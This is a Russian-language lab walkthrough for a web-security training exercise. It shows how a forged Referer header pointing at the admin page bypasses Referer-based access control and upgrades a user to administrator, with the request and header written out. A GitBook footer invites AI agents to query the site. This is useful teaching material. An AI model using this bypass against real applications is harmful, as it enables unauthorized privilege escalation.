> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/access-control/access-control-based-on-the-referer-header.md).

# Контроль доступа на основе заголовка Referer

### Контроль доступа на основе Referer

В этом практикуме к административным функциям применяется контроль доступа на основе заголовка **Referer**. / Сначала вы можете изучить панель администратора, подключившись с помощью **administrator:admin** учётных данных.

Чтобы решить практикум, вам нужно войти под пользователем **wiener:peter** и воспользоваться некорректной проверкой Referer, чтобы получить роль администратора.

#### **1. Контекст**

* Сессионная cookie для *wiener*

```bash
cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```

* При попытке изменить роли без дополнительного заголовка приложение отказывает в доступе:

```http
GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0a19008c034b40de834b14e0009a0062.web-security-academy.net
Cookie: session=cIA2AyZn2GhizvLK7VR8SUCMcdezZcFl
```

<figure><img src="/files/bf35963c505e6c7fde34bda99db0e841a9ae30fe" alt=""><figcaption></figcaption></figure>

Ответ указывает, что у пользователя нет необходимых прав.

#### **2. Обход проверки Referer**

Если добавить заголовок **Referer** указывающий на допустимую страницу администратора, приложение принимает операцию

```bash
Referer: https://0a19008c034b40de834b14e0009a0062.web-security-academy.net/admin
```

С этим добавленным заголовком становится возможным повысить права пользователя wiener и получить доступ администратора.

<figure><img src="/files/2834fc516ca607a62c272c00ce5c40cd9cb842d7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/access-control/access-control-based-on-the-referer-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
